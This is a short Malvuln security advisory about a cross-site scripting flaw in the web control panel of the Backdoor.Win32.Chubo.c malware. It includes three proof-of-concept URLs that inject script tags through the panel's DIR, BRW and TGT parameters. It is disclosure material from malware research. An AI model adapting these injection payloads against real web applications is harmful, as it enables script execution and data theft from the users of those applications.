Backdoor.Win32.Chubo.c Cross Site Scripting

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/c16b04a9879896ef453a6deb13528087_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Chubo.c  
Vulnerability: Cross Site Scripting (XSS)  
Family: Chubo  
Type: Web Panel  
MD5: c16b04a9879896ef453a6deb13528087  
Vuln ID: MVID-2022-0528  
Disclosure: 03/26/2022  
Description: The malware listens on TCP port 81 and 8080. There is a HTML web-panel that exposes the entire system and creates HTML links to run commands made available by the backdoor. Chubo panel users who visit a third-party attacker website or click an infected link, can trigger arbitrary client side JS code execution in the security context of the current user. This can result in data theft or GEO location disclosure of the user accessing the Chubo web interface.  
  
Exploit/PoC:  
1) http://x.x.x.x:81/?DIR=%3C/h2%3E%3Cscript%3Ealert(%22malvuln%22)%3C/script%3E%3C!--  
2) http://x.x.x.x:81/?BRW=%3C/h2%3E%3Cscript%3Ealert(%22malvuln%22)%3C/script%3E%3C!--  
3) http://x.x.x.x:81/?TGT=%3C/h2%3E%3Cscript%3Ealert(%22malvuln%22)%3C/script%3E%3C!--  
  
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